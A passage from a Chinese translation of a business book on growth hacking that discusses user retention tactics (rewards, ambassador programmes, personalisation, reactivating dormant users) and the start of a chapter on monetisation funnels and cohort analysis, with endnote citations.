剧来创造一种新回报。比如，网飞一次性推出整季原创内容，而不是每次只播一集。团队还可以分析哪些类型的电视剧最容易被刷剧，并且开展试验在网站上主推此类电视剧。\n提供实际的、体验式的回报\n许多流行的回报策略都强调让顾客去“赚”节约的钱，或者给他们发购物券、代金券或者礼物。特别是零售业，长期以来这个行业已经积累了许多这样的回报策略。这些回报很强大，团队也确实应该在这方面大量开展试验。但很重要的一点是，团队不应把目光局限在金钱或者省钱这样的回报上，而是应该试验产品体验这种回报。实际上，一些最易于习惯形成的回报是无形的回报。这类回报中有不少值得试验。比如社交回报，脸谱网的“点赞”功能就在很大程度上促使发照片和评论成为用户的一种习惯。同理，飞行常客奖励计划很早就开始使用诸如会员升级、贵宾休息室和优先值机这样的社交回报，而且它们相比折扣机票更能让用户保持忠诚。团队应该创造性地思考可以提供什么样的无形回报，而且还应该试验将实际回报和体验式的社交回报结合起来。\n按照激励—市场匹配原则，回报应该契合产品价值。近年来，在促进习惯形成、提高留存（当然还有其他增长杠杆）方面，除了给用户提供特价优惠和折扣以外，还有三个值得注意的回报策略。虽然这里无法完全列举所有策略，但至少这三个例子代表了现有的很多可以大规模实施的策略。\n品牌大使计划\n这类计划通常结合了社会回报和实际回报，通过授予用户高级用户的称号来给用户提供社会认可以及其他的实际好处。\nYelp精英队计划是利用这种方法提高留存最成功的案例。通过给予第一个给商家留言的用户特殊认可并且让用户给那些有用、有趣或者只是单纯“很酷”的评论点赞，Yelp就成功给用户提供了强大的社会回报，激励他们写更多的评论。\nYelp团队向最活跃的用户颁发“精英”奖章，他们解释说：“（这是）我们认可和奖励那些在线上和线下都很活跃的口碑传播用户和模范用户的方式……精英队成员的个人档案中有一枚闪亮的精英徽章，而且精英用户还能享受参加Yelp活动和提前入场这样的特殊优待。”这个计划大获成功。美国东北大学的经济学教授王忠民对Yelp进行研究后发现，Yelp主要的竞争对手，比如Citysearch和雅虎区域搜索，其用户在网站上留下超过6条评论的比例在5%~10%。相比之下，Yelp用户中有超过65%的人在网站上写6条甚至更多的评论。而且，Yelp网站总评论量的44%都是由精英用户贡献的。\n利用品牌大使计划来提升用户忠诚度和留存率的不只是网络公司。餐馆、酒店、信用卡公司以及许多零售商很早就成功使用这类计划，巧妙地将诸如归属感、社区和地位这样的社会回报与更实际的回报结合在一起。美国运通百夫长卡，也就是广为人知的黑卡，就是一个经典例子。许多人都觊觎黑卡，把它视为终极地位的象征。黑卡持有者人数有限（需要每年在运通账户上消费并还款至少35万美元），它具体能带来哪些好处一直笼罩在神秘当中，而且它提供的实际回报甚至能令最富有的美国运通用户感到与众不同（例如专享的优惠、旅行和柜台服务）。\n近年来最令人瞩目的品牌大使计划出自发展迅速的媒体公司theSkimm之手。这家公司向职业女性提供员工亲手编辑的每日新闻，目前它的日读者量已经发展到350万。要想成为“Skimmer大使”，读者需要向10个朋友推荐这个服务，这样做的回报不仅包括获得网站公开认可，还包括名牌T恤、手提包、手机壳、社交机会以及在新闻电子报中刊登生日祝福等等。\n认可用户成就\n所有用户都看重来自公司的认可，哪怕只是很小的认可。对用户表达认可的最佳方式是肯定他们的某种成就或行为，或者使用营销圈中称为“行为邮件”（behavioral email）的方式，也就是当用户完成了一个里程碑事件时就给他们发去祝贺邮件。比如当你走到当日第一万步时，Fitbit（一家研发和推广健康乐活产品的新兴公司）就会给你发一条祝贺推送。又如，当你跑完10英里或者完成距离最长或速度最快的一次跑步时，Runkeeper（一款私人运动记录应用）就会给你发送祝贺邮件。同样，推特的联合创始人埃文·威廉姆斯创办的博客发布平台Medium会在用户文章被推荐50次或100次时向用户发送邮件。大多数推荐计划都内设了这样的成就推送，一旦朋友加入时就会向用户发送邮件，鼓励他们邀请更多人加入。\n这些推送也可能是告知你其他用户采取了一些可作为你的个人成就的行为，比如领英会给用户发送邮件告诉他们有人认可了他们的技能，推特会提醒用户有人为他们点赞或者转发他们的推文。脸谱网和Instagram的做法尤其聪明。它们会给用户发移动推送，告知用户他们的脸谱网好友加入了Instagram，或者鼓励他们给其他用户在Instagram上发的照片点赞，尤其是给那些有一段时间没有发新照片的用户点赞。这两类推送可以从两个方面提高留存率：让用户重回Instagram查看朋友最新状况，以及通过增加新用户在Instagram上的粉丝数量、获赞和留言数量来回报新用户。\n客户关系个性化\n随着储存用户信息的海量数据库和强大的数据分析工具的出现，公司更精准，甚至一对一地满足用户需求和欲望的能力大幅提升。沃尔玛实验室（WalmartLabs）产品和工程部副主席舒维克·慕克吉指出，公司在增长领域最重要的一个转变是从传统的“一对多”营销思维模式转变为提供完全个性化的“一对一”的用户体验。比如，现在公司可以根据每位用户的喜好发送个性化邮件和产品推荐，即使用户数量达到几百万也能做到这一点。他指出，这种大规模的个性化做法核心在于“理解用户，理解你所处的行业，并确保在二者之间建立完美的匹配”。\n亚马逊是个性化技术的先驱。这个技术之所以成功得益于大规模的客户数据以及更先进的编程技术让公司可以高效地挖掘有关用户个人喜好的海量信息。要实现个性化不仅可以利用用户提供的个人信息或者他们在公司网站或者App上的行动，还可以利用他们在整个互联网中的行为数据。现在通过诸如Demandbase这样的数据供应商就能够轻松获取这些数据。也有许多公司提供个性化技术，比如Salesforce（一家客户关系管理软件提供商）、Optimizely和HubSpot。\nOptimizely的前内容经理卡拉·哈什曼曾分享过公司如何通过向最重要的用户提供个性化主页体验来改善包括激活率和留存率在内的诸多指标。以前公司网站只有一个主页，后来则根据关键账号、用户访问时间以及垂直市场等不同因素设计出26个不同版本的主页。比如，如果用户从《纽约时报》的办公室登录公司主页，他们看到的页面就会显示针对出版商的Optimizely产品和服务。而如果是微软员工，他们看到的则是Optimizely可以如何帮助技术和软件公司。\n机器学习算法正在引发新一轮个性化浪潮。如它的字面意思所指，机器学习是指软件根据用户反应来优化和改善个性化措施，而非由人来做这个决定。这项技术很复杂，但它正在变得越来越容易操作。比如在英曼，摩根和他的团队在电子新闻周报中向用户发送为他们量身挑选的新闻故事，做到为每一位订阅者提供独一无二且与用户高度匹配的内容。这一个性化服务获得了Boomtrain（一家基于机器学习的个性化数据公司）的数据支持后简直如虎添翼。Boomtrain通过将机器学习与个性化相结合成功做到持续优化新闻内容的相关性，而无须摩根的团队做任何额外的工作。这还只是提供此类服务的众多公司之一。团队还可以利用诸如Apache Spark（大数据处理引擎）提供的开源软件“机器学习图书馆”来建立自己的软件，这样也能取得同样的结果。\n我们在第一章中曾简单提过，Pinterest的增长团队在机器学习个性化和优化方面进行了大量试验，他们建立的Copytune程序可以帮助团队迅速测试30多种不同语言、数十个版本的推送文案。Copytune最后会选出最优版本并自动完成后续测试。这个程序对每种信息组合方式进行测试，结果令人难以置信：每月重返网站的用户数量（月活跃用户）大幅增长。虽然增速是个位数，但考虑到Pinterest的用户规模超过一亿，这样的增长速度意味着公司每月增加的活跃用户达到数百万。虽然公司没有透露新增访客带来的广告收入，但可想而知，这个数字一定十分可观。\n如果团队想进行个性化测试可以先从触发物入手。大多数邮件营销软件都能提供各种各样的个性化选项，既可以简单到在邮件中插入收件人姓名，也可以基于用户历史行为向他们发送为他们量身定制的邮件内容和产品推荐。我们的食品商店App团队可以向那些在App下单一次、从未下单以及App订单平均金额超过100美元的用户发送不同的邮件。完成了这个第一步，增长团队就能获得用户体验有效性方面的早期数据，并根据结果决定是否做进一步投资。\n控制节奏\n如果你购买过任何初始版本的电子产品，或者参与过挑选诸如Salesforce或者Oracle这样的企业软件，那么你肯定知道向用户承诺新功能即将上市是一个多么强大的留存诱饵。告诉用户马上会有新功能或者新产品以及这能给他们带来什么好处，可以有效地诱导用户一直使用产品。这一招对SaaS产品、电脑游戏以及像Hulu和HBO这样的内容供应商特别管用。网飞就有效地利用了这种策略。诸如《纸牌屋》和《女子监狱》（Orange Is theNew Black）这样的网飞原创剧在新的一季播出之前都会有一段间隔时间，这样能让用户一直保持活跃的订阅状态，因为他们会等新的一季出来刷剧。同样，Salesforce也不急于发布重大产品更新，而是留到新的年度活动中来宣布，通常是夏天一次、冬天一次。这样做可以让用户一直期待这些不可或缺的新功能从而保持活跃的订购状态。苹果公司也巧妙地使用了这个策略，它让用户迫不及待地等着公司推出最惊艳的新产品，然后升级自己的设备。\n凯鹏华盈（Kleiner Perkins Caufield & Byers）的风险投资人宾·戈登在分享他与HBO的CEO克里斯·阿尔布雷克特的一次对话时说到了“马上就来”这一招威力有多大。阿尔布雷克特批准了制作《罗马》（Rome）这部以史上最烧钱而闻名的原创剧，它每集的制作成本高达900万美元。戈登问阿尔布雷克特，斥巨资制作一部最终并没有吸引太多观众的电视剧是否太不划算？阿尔布雷克特跟戈登分享了“马上就来”的威力。他说，从宣布这部剧即将上映到播出第一集的这段时间内HBO几乎没有流失任何用户。订购用户都拭目以待，想要看看这部剧究竟为何值得如此大肆宣传。虽然最后并没有多少人观看，但在之前两个月的时间里公司的用户流失率几乎为零，其间公司的盈利远远超过了这部剧的制作成本。\n但是，如果你对用户承诺很快就会有很棒的产品更新，却让他们一等再等，就可能惹怒用户。这也是为何试验如此重要：它可以帮助团队确定公布消息的最佳时机。比如，为视频流服务改善留存的增长团队可能了解到，公司刚刚敲定了一部以前没有播过但可能会极受欢迎的电视剧，计划三个月后才上映。团队决定尝试向用户发送新剧即将播出的推送，看看这样做能否在播出前的这几个月刺激更多用户续订。团队可以通过给那些以前看过同类剧的用户发送邮件并进行简单的A/B测试。对照组是常规体验，而实验组将收到一两轮关于新剧“即将播出”的邮件信息。通过比较这两组的留存率就可以量化推送的效果。如果“即将播出”的消息引起用户兴趣并留住了更多看过类似电视剧的订阅者，那么增长团队就可以大胆地将“即将播出”策略作为用户沟通的一个永久组成部分。\n保持长期活跃\n一旦你在一定规模的用户群中实现了强劲的留存，下一步就是专注于如何让用户乐于使用你的产品并长期保持高度活跃。我们建议使用一种双管齐下的做法：（1）优化现有的产品功能、推送以及对重复使用的奖励；（2）在一个较长的时间周期里定期推出新功能。把握好这二者之间的平衡极其重要。许多公司都急于在短期内推出大量新功能，用产品团队的话来说，这叫功能膨胀（feature bloat）。这样做往往会导致产品过于复杂而掩盖产品的核心价值。在一份2005年的研究报告中，营销科学学会的研究员德博拉·维亚纳·汤普森、丽贝卡·汉密尔顿和罗兰·拉斯特指出，将太多功能塞进产品中往往会损害长期留存，因为“为了实现用户选择范围的最大化而在产品中加入许多功能最终可能降低用户终身价值。”他们得出的结论是，“公司应该考虑拥有更多功能有限但更加专业化的产品，而不是将所有可能的功能都集中在一个产品上”。\n技术专栏作家大卫·波格在他2006年的TED演讲中通过下面这张让人看得抓狂的截图把功能膨胀给用户带来的痛苦展示得淋漓尽致。把微软Word工具栏中的所有选项都打开最后得到的就是这个效果。\n图7–5 微软Word功能膨胀\n判断何时推出在线产品的新功能尤其困难，因为相比实体产品，推出在线产品的新功能要容易很多。当人们习惯了产品的外观和功能后，过快或者突然改变产品可能得不偿失。这里就有两个现成的例子：Instagram推出新的算法时间线以及推特将推文收藏符从星形变为心形并将它的名称从“收藏”改为“赞”，这两个做法就引起许多用户的不满。\n增长团队可以通过试验给用户提供产品原型或试用版来评估拟推出的新功能是否具有吸引力。团队首先应该在少量用户中对新功能进行实际测试，试验产生的数据可以帮助公司在大范围推广前进一步完善新功能。尽管在大多数机构中设计新功能是产品团队的职责，但毫无疑问，增长团队可以根据他们定期进行的调研和数据分析为产品团队提供一些新功能方面的想法。同样，增长团队整合数据后可能会发现新的产品优化机会，这可能是市场调研或者战略规划无法发现的。换句话说，增长团队中的所有成员都应该不断寻找机会来优化现有产品功能，实现留存最大化，同时开发新功能。\n为了说明具体怎么操作，让我们回到食品商店App团队，看看他们如何与这家食品连锁店的产品团队合作推出一个重要的新功能。产品团队一直在为App的一个新功能研发产品原型：用餐计划。这项功能可以结合用户的购买历史以及App上最受欢迎的商品来向用户推荐全谷物食谱，让用户轻松购买所需要的食材。顾客需要做的只是输入用餐人数然后点击提交，所需商品就按适当数量自动加入购物车。增长团队和产品及营销团队共同确定了一个测试战略：先向一定数量的用户提供用餐计划功能，同时试验如何提高这批用户使用这个功能的频率。比如，增长团队掌握的数据显示，免费配送可以有效改善留存。他们可以基于此向产品团队建议，通过用餐计划向用户推荐可以使他们的订单金额达到免运费标准的食谱。他们也可以尝试利用触发物提醒用户App上更新了全谷物食谱推荐。团队也应该测试何时以及如何向用户推荐这个用餐计划，如何向那些使用试用版本的用户介绍功能上的改变。\n持续的用户引导\n增加新功能并且越来越了解最活跃最满意的用户如何使用产品后，你需要继续引导用户，让他们了解可以从产品中获得怎样的价值。因此，长期留存的另一个关键要素就是弄清如何让用户沿着学习曲线前行。这个过程便是持续的用户引导，它与学习任何一门学科、一种乐器、一门语言或是一项技能的方法是一样的：首先完成容易实现的小目标，然后逐渐提高熟练程度。应该将这种学习进程嵌入任何需要用户掌握的新功能中，让他们从产品中获得最大价值。用户体验设计师哈里·布努将这个过程称为“爬坡”。\n用户使用产品越来越熟练后，就应该引导他们开始关注以前从未用过的功能和刚推出的新功能。这是一个循序渐进的过程，而且用户开始学习新功能之前必须首先掌握旧功能。布努强调，谷歌分析使用一系列渐进式的通知推送来引导用户更加深入地体验产品，这就是一个爬坡的好例子。布努说：“他们监测用户行为，通过一个决策引擎来决定推送的内容，然后跟踪用户完成了哪些行为，适时引导用户开始新行为。”\n增长团队应该测试持续的用户引导中所有的信息传达，比如向试验组发送有关新功能使用的不同版本的文字和图片说明。如果结果显示邮件信息在增加这些功能的使用率方面很有效，那么团队就可以试验在产品自身加入凸显这些功能的信息，例如在其他功能的登录页面增加新功能的宣传视频。\n复活“僵尸用户”\n重新赢回已经弃用产品的用户，这在增长圈子里称为“复活”。增长黑客过程可以帮助你找到赢回从你的雷达上消失的“僵尸用户”的试验。当然，第一步是调查用户当初消失的原因。最简单的做法是采访那些取消或者不再使用产品的用户，直接询问他们离开的原因。例如，当印象笔记为改善留存绞尽脑汁的时候，他们的增长团队发现用户不再使用服务的一个很大原因是他们换了新电脑或新手机后没在新设备上立刻重新安装App。\nHubSpot的产品经理丹·沃赫诺克指出，增长团队在根据僵尸用户的反馈考虑应该尝试何种试验之前，第一步是弄清楚人们离开的原因是否是可控的或者是可以解决的。比如和印象笔记一样，商店App团队了解到，人们不再使用App是因为用户没有在新手机上重新安装App。如果团队发现用户很长一段时间处于休眠状态，那么他们就可以通过设计新邮件和重定向广告来鼓励用户重新安装App。但是，如果人们离开的原因是因为这家食品连锁店没有用户想要的品牌的商品，这时增长团队可能就无能为力了。这种情况下，团队最好是提醒采购部用户对那个品牌的商品有很大的需求（他们当然应该这样做，因为这个品牌商品的缺乏不仅影响App的留存，而且还影响连锁店的整体发展）。\n复活流失用户的大部分工作是靠邮件和广告来完成的。如果团队注意到在一个预先设定的时间段内（长短可通过试验来确定）用户的购买活动或者其他活动降为零，那么就应该把他们纳入复活流（resurrection flow）。这时，团队应该给他们发送电子邮件或者定向广告，提醒他们产品的“啊哈时刻”或者当初吸引他们的产品核心价值，以此来挽回用户。有时公司可以通过为“冷淡”或休眠用户制作专门的自定义邮件和推送通知来激活他们。因为这些用户已经很熟悉产品并且已经体验过产品的“啊哈时刻”，所以激活他们所需要的成本和努力相比获取全新的用户都更少。\n比如，在英曼，摩根找出那些曾经在网站上看过文章但已经三周没有访问网站的用户。鉴于许多用户都是按月订阅，所以他推测那些每月访问次数不足一次的用户更有可能注销账号。团队因此进行了一项测试，他们向这些用户发送邮件告知他们过去几周发生的重大新闻，并且通过行为召唤鼓励他们回来重新使用网站。收到邮件通知的用户中重回网站的比例比没有收到邮件的对照组高出了29.4%。\n当然，和任何定向邮件通知或者广告战略一样，这种方法很容易做过头。最重要的一点是，你需要试验信息传达的措辞、频率以及持续时间来确保你请求他们“回来”的信息不会惹烦或者进一步疏远用户，否则你只会让他们对你的评价更差，从而彻底击碎挽回他们的一切希望。有时候，公司应该接受事实，承认用户不会再回来了，然后停止向他们发送信息。有时，用户会出于一些完全不受你控制的原因自愿回来，可能是因为一个朋友聊起他多么喜欢这个产品（推特发现，大量休眠用户重新回来使用服务就是因为这个原因）；或者因为用户换了一份新工作，而你的产品对他的工作有帮助；或者因为他之前选择了你的竞争对手，而这个竞争对手破产了或者没有持续改进产品；又或者是因为某个名人或用户的老板开始使用这个产品，等等。\n复活这类“冷淡”用户似乎是次要问题。毫无疑问，如果留存不乐观，你首先关注的应该是新用户的初始留存。但记住，每一位最终留住的用户都代表了可以持续为公司创收的机会，所以复活的努力是有价值的。现在，为了仔细研究如何在改善留存之后最大化地利用机会赚取更多收入，我们需要探讨增长黑客怎样帮助公司从每一位用户身上获得更大的收益。\nHBO是一个美国的付费有线和卫星联播网，为时代华纳公司所有。——译者注\n彼得·德鲁克，《管理：任务、责任、实践》，（New York: Routledge, 2012），57。\nFred Reichheld, “Prescription for Cutting Costs,” Bain & Company report (n.d.), bain.com/Images/BB_Prescription_cutting_costs.pdf.\n埃伦·韦特（Ellen Huet）, What Really Killed Homejoy? It Couldn’t Hold On to Its Castomers”,《福布斯》，2015年7月23日。\nDaniel B. Kline, “Amazon Prime Improves Its Customer Retention Rate,”June 1, 2016,fool.com/investing/2016/06/01/amazon-prime-improves-its-customer-retention-rate.aspx.\nJules Maltz and Daniel Barney, “Should Your Startup Go Freemium?”TechCrunch,November 4, 2012, techcrunch.com/2012/11/04/should-your-startup-go-freemium/.\nBrian Balfour, “Growth Is Good, but Retention Is 4+Ever,” May 10, 2015,retrieved at:youtube.com/watch?v=ch7aps2h8zQ.\nAlistair Croll and Benjamin Yoskovitz,Lean Analytics: Use Data to Build aBetter Startup Faster(Sebastopol: O’Reilly Media, Inc., 2013), 73.\n达米什·沙阿（Dharmesh Shah）和摩根·布朗的对话，2016年3月1日。\n鲍尔弗，《增长很好，但留存是永远》。\nDaniel B. Kline, “Amazon Improves Its Customer Retention Rate,” The Motley Fool,June 1, 2016, http://www.fool.com/investing/2016/06/01/amazon-prime-improves-its-customerretention-rate.aspx.\nChristoph Janz, “From ‘A as in Amiga’ to ‘Z as in Zendesk’,” The Angel VC(blog),July 16, 2016, christophjanz.blogspot.com/2016/07/from-as-in-amiga-to-z-as-in-zendesk.html.\n尼尔·埃亚尔，《上瘾：让用户养成使用习惯的四大产品逻辑》（Portfolio: 2014），5–10。\n布拉德·斯通（Brad Stone），《一网打尽：贝佐斯与亚马逊时代》（Little, Brown:2013），187。\n布拉德·斯通，“What’s in Amazon’s Box? Instant Gratifcation,” Bloomberg, November 24, 2010, bloomberg.com/news/articles/2010-11-24/whats-in-amazons-box-instant-gratifcation。\nDave Kim, comment on question “How did Yelp get initial traction and overcome the critical mass problem?” Quora, March 10, 2011, quora.com/How-did-Yelp-get-initial-traction-andovercome-the-critical-mass-problem.\nZhongmin Wang, “Anonymity, Social Image, and the Competition for Volunteers: A Case Study of the Online Market for Reviews,” April, 2010, https://editorialexpress.com/cgi-bin/conference/download.cgi?db_name=IIOC2010&paper_id=336.\nSarah Silbert, “The Inside Scoop on the Amex Centurion（Black）Card,” The PointsGuy（blog）, October 14, 2015, thepointsguy.com/2015/10/amex-centurion-black-card/.\nSarah Buhr, “theSkimm on How to Rapidly Grow an Audience of Engaged Millennials,”TechCrunch, May 9, 2016, techcrunch.com/2016/05/09/theskimm-on-a-better-way-to-serve-thenews-to-young-professionals/.\nJustin Ellis, “How theSkimm’s Passionate Readership Helped Its Newsletter Grow to 1.5 Million Subscribers,” Nieman Lab blog, August 18, 2015, niemanlab.org/2015/08/how-theskimms-passionate-readership-helped-its-newsletter-grow-to-1-5-million-subscribers/.\nJimmy Daly, “Behavioral Emails That Keep Customers Coming Back (with Examples from My Inbox),” Unbounce blog, March 9, 2015, unbounce.com/email-marketing/behavioralemails-keep-customers-coming-back/.\n摩根·布朗与舒维克·慕克吉的谈话，2016年3月10日。\nCara Harshman, “The Homepage Is Dead: A Personalization Story,” Call To Action Conference, June 20, 2016, http://calltoactionconference.unbounce.com/speakers/2016-caraharshman.\nEgan, “How We Increased Active Pinners.”\nBing Gordon, “Five Things to Know About Retention Hacking,” KPCB blog, November 17, 2014, kpcb.com/blog/fve-things-to-know-about-retention-hacking.\nDebora Viana Thompson, Rebecca W. Hamilton, and Roland T. Rust, “Feature Fatigue:When Product Capabilities Become Too Much of a Good Thing,” Marketing Science Institute blog,2005, msi.org/reports/feature-fatigue-when-product-capabilities-become-too-much-of-a-goodthing/.\nDavid Pogue, “Simplicity Sells,” TED Talk, flmed February 2006, retrieved at: ted.com/talks/david_pogue_says_simplicity_sells?language=en.\nJordan T. McBride, “Dan Wolchonok on Running Retention Experiments,” ProftWell(blog), January 21, 2016, blog.proftwell.com/saasfest-recap-dan-wolchonok-on-running-retentionexperiments.\n第八章\n 变现：提高每位用户带来的收益\n获取、激活和留存客户的终极目标当然是从他们身上获取收益，并且逐渐提高每位用户带来的收益，也就是提高用户的终身价值。这一章我们将专门讨论在用户身上实现更大收益这一使命，增长黑客法为我们提供了很多优化变现的实验设计方法。前面我们讲过许多增长团队都没有使用这些策略，而是把精力主要放在用户获取和激活方面，这使他们浪费了大量增长潜力。我们希望这一章能够改变这种情况。\n公司的商业模式不同，提高用户终身价值的基本做法也不同。对于零售公司而言，提高用户变现能力的根本途径是说服他们购买更多产品，而对SaaS公司而言，是让更多订购者续订、延长订购年限和升级到价格更贵的服务（如果是免费+增值服务则是让更多用户升级到付费计划）。如果你的收入来源是销售广告版面，那么增加创收本质上是要创造更多广告位并且说服更多广告主出更高价钱来购买你的广告位。每种商业模式会使用不同的策略，但是无论哪种情况，增长团队都应该首先通过一个最基本的诊断过程来提出增收的试验想法。\n绘制变现漏斗\n和其他所有增长黑客手段一样，破解变现的第一步是分析数据，找出最具潜力的试验。首先，增长团队要回到根据整个用户旅程绘制的基本路线图。在第六章中我们讲过，团队应该在启动增长黑客过程之初就绘制好路线图。变现阶段团队要做的是在路线图上标出从获客到留存的整个过程中所有可能从用户身上盈利的机会。同时，还要找出用户旅程中阻碍创收的所有环节，比如支付过程中的摩擦。\n零售公司的用户路线图常常被称为购买漏斗，它们最重要的增收环节包括商品的展示屏、购物车以及结算页。对于SaaS公司而言，重要的增收环节包括说明各种服务的功能、价格以及计划档位的页面、推广附加功能和功能升级的页面。对于靠广告盈利的公司，最重要的环节是所有可以用来展示广告的页面，无论这些页面是否已经被公司利用起来。\n确定了基本路线路图中的重要环节之后，下一步是分析哪些环节带来的收益最高，哪些环节是夹点（pinch points），也就是损失潜在收益的地方。商业模式不同，夹点出现的地方也会不同。增长团队在找出产品、网站或者App上有很高创收价值的页面和功能后就可以开始试验增收手段。同时团队还要找出转化率低、摩擦阻力大的夹点，进而找出填补收益漏洞的方法。\n不同的商业模式在用户旅程中的典型夹点是不一样的。对于电子商务公司来说，用户从挑选商品到完成购买之间是一个危险区，因为许多用户往往中途就放弃购买。Monetate（一家为电商企业提供个性化定制服务的公司）在2016年初的一项调查发现，虽然将近9.6%的网站访客将商品加入购物车，但最终下单的人数不到3%。对SaaS公司来说，显示计划档位和价格的页面不够优化常常损害购买率。对靠广告盈利的公司来说，广告侵入性太强令用户反感，或者广告内容或设计不够醒目、不够有吸引力，这些都是常见的变现沉洞（sinkhole）。\n增长团队可以首先评估这些常见夹点，但是他们还需要更细致地分析具体的变现漏斗，这样才能找出产品特有的弱点并且有针对性地设计实验。比如，一家在线零售商可能发现，它的一些产品页面激发的购买量少于行业调研中同类商品的正常购买量。这时，增长团队可能决定专注于试验可以增加这类产品销量的增长手段。或者一家靠广告盈利的内容供应商或媒体公司通过分析发现，某个特定广告版面上的视频广告效果不如同一版面上的文字广告，增长团队可能决定将精力主要放在提高视频广告的有效性上。比如，试验改变视频广告的尺寸、位置或者视频的其他本质特征，如视频长度、行为召唤或者是否包含文字说明等。\n对SaaS公司而言，可能分析结果显示，免费试用注册到付费订购之间是一个夹点。通过深度分析流失原因，团队发现，在免费试用阶段没有使用某个特定功能的用户比那些使用了该功能的用户购买利润丰厚的企业计划的可能性小了一半。因此，团队可能决定重点试验提高使用该功能的试用者比例，进而提高试用期结束后购买付费计划的人数。\n就绘制路线图的工具来说，我们提到过的许多常见分析工具就能为电商企业制作简单的购买漏斗。像DoubleClick这样的广告服务商可以为出售广告版面的互联网公司提供广告反响分析软件。但是，如果想要完整地绘制公司变现漏斗中的所有步骤，还需要一位数据分析师来完成一些额外的工作。\n关注每个群组的贡献\n你在分析用户数据、评估盈利机会时还需要将用户分成大量群组，就像在破解留存阶段所做的那样，只不过这里你关注的重点是每个群组贡献的收益。因此，首先要根据用户创造收益的高低来建立群组。订阅服务通常按照订购计划的档位来划分群组；电商企业则可以根据用户每年（或者每月和每周，具体取决于你的商业模式）的消费额来划分群组；靠广告盈利的公司情况稍微复杂一些，因为用户参与度是决定公司投放多少广告以及向广告主收多高版面费的主要因素，所以采用广告模式的公司不仅应该跟踪广告商业模式中最基本的变现指标——每用户平均收入，还应该根据用户参与度，尤其是用户对广告感兴趣的程度，来进一步划分群组。比如，根据用户在网站或者App上逗留的时间，每次浏览的网页数或者App屏数，或者这家公司其他特殊的参与指标（例如用户观看的视频数）来划分群组。\n除了收益之外，增长团队还应该用其他方式来划分群组，这也是我们在讨论破解留存时所推荐的做法。分组方式应该包括（但不限于）：地点、年龄和性别、客户购买商品的类型或者使用的功能、获客渠道（是通过谷歌广告还是推荐计划）、使用哪种设备访问网站或App（台式机还是移动设备，是使用微软Windows系统还是苹果系统）、使用的是哪种网络浏览器、在某个时间段内访问网站或App的次数、用户第一次购买或者第一次采取行动的日期等。同样，在这个阶段重点不是寻找留存规律，而是寻找每个群组和收益之间的关联，从而帮助团队找到试验想法。\n我们来看一看HotelTonight的例子。这个移动App可以使临时需要住宿的用户以很低的折扣预订酒店房间。它根据用户使用App时联网的方式[是通过Wi-Fi（无线局域网）还是通过3G或4G网络连接]来创建群组并分析不同群组的购买行为，结果有一个出人意料的重大发现：那些通过3G或4G网络使用App的用户订房率是那些在Wi-Fi环境下使用App的用户的两倍。（使用Wi-Fi预订不是应该更容易吗？）因此它提出了一个假设：相比使用不稳定的数据连接，用户使用Wi-Fi更容易在其他旅游网站上进行比较购买，因为数据不稳定时竞争对手的网站速度很慢而且不可靠，用户会更愿意使用HotelTonight来预订房间，但如果使用网速很快的Wi-Fi，那么用户就会进行比较购买。基于这个洞察，HotelTonight只向那些不是使用Wi-Fi的用户投放定向广告，最终提高了那些看到广告的新用户的购买率。\n对于电商企业来说，除了按照顾客的消费额来划分群组以外，其他重要的划分方式还包括顾客购买量、订单的平均金额、所购商品的类型、第一次购物的日期、在某个时间段内的购物次数（比如每月或每年）以及他们通常购物的月份或年份。比如，团队发现，90天内只购物一次的用户中在接下来的12个月里消费额达到甚至超过500美元的比例是55%，但90天内购物两次的用户这个比例是95%。因此，团队可以设计一些试验鼓励所有在90天内购物一次的用户在这期间购物两次。比如，团队可以在用户第一次购物30天后通过邮件向他们提供巨大的折扣或者特殊优惠（例如免费配送），然后60天后再发送一次这样的邮件。\n对于广告收益模式的公司来说，更细地划分用户群可以让它们试验不同的变现手段，既可以进一步变现已经创造很高用户参与度的广告版面，还可以改善参与度较低的版面的广告效果，进而实现增加营收。例如，一家媒体公司的增长团队可能发现，用户在网站上的逗留时间达到或者超过两分钟的话，那么他们点开广告的可能性是那些逗留时间不足两分钟的用户的三倍。了解到这一点后，增长团队可以设计试验来增加不常使用网站的用户在网站上的逗留时间，例如可以在用户读完一篇文章后向他们展示相关度更高的文章。或者，团队可能发现许多读者停留很久的网页并没有特别有效的广告内容，如视频库页面或者篇幅很长的文章。这时团队就可以试验在这些页面上使用新的广告类型或者改变广告的展示位置，比如用户浏览视频页面时在两个视频之间展示广告或者用户在阅读长篇文章时在文章内部插入广告。\nSaaS公司的用户一般是企业，它们需要重点分析的用户群组就应该是不同类型的企业，因为有些公司财力雄厚，所以它们更愿意购买价格更高的计划和附加功能。比如“调查猴子”（SurveyMonkey，一家网络调查公司）就按客户类型进行群组分析。这家网站专门为各类企业提供可以满足不同目的的问卷调查服务，它的用户包括进行市场调研的营销团队、衡量用户满意度的用户服务团队，以及为科研论文做问卷调查的学生等等。这家公司增长团队负责人埃琳娜·韦尔娜和她的团队发现（可能并不意外），来自教育机构和非营利组织的客户和大学生购买专业付费版本的比例不及其他类型的用户。于是他们试验专门向这几类用户提供折后计划，以提高他们从免费用户转为付费用户的比例，进而提高他们创造的收益。\n用户最愿意付费购买的软件功能也会有群组差异。例如，大公司可能拥有自己的内部用户关系管理软件系统，因此它们可能愿意出高价购买能够与现有系统轻松整合的软件，而没有现成系统的创业公司可能更看重获得开箱即用的功能，而不会考虑系统整合这个问题。\n如果你的产品或服务面向国际市场，那么公司还应该按国别来分析变现，因为不同国家的支付方式以及服务收费标准可能不同。比如，德国用户也许更有可能使用某几种支付方式进行购买，而俄罗斯用户却可能使用另外一种支付方式，从而导致不同的国家的变现率有很大差异。同理，有些商业模式可能在某个国家更容易被用户所接受。比如，美国用户很容易接受订购服务，但是在其他国家可能就没那么容易了。增长团队可以试验在不同国家使用不同的支付方式来提高每个国家的变现。\n认识你的用户\n正如前面所讲，有很多划分群组的方法可以帮助我们获得新洞察。为了更好地变现，增长团队要做的第一步是按照某些相同特征对用户进行大致分类。这些特征可能包括：用户来自同一地区，有着相同的经历，消费水平大致相同，有相同的产品需求，或者是几个因素的组合（其中很多都是我们在讨论群组划分时提到过的）。创建分组的目的在于更好地想出满足客户特殊需求的方式。许多营销者可能非常熟悉用户画像这种做法，即为每个群组中最具代表性的客户创建虚拟档案。例如在英曼，我们找出了四种主要的用户类型：工作经验不足3年的房产中介；有5~10年工作经验的房产中介；房产经纪人；特许经营管理和技术专家。这些组别代表了我们的客户群中最常见的聚类，增长团队可以有针对性地设计实验来增加每个群组带来的营收，比如，试验个性化的邮件沟通方式、着陆页以及促销折扣等等。\n调查用户的需求\n增长团队还应该通过调查问卷直接向用户了解每个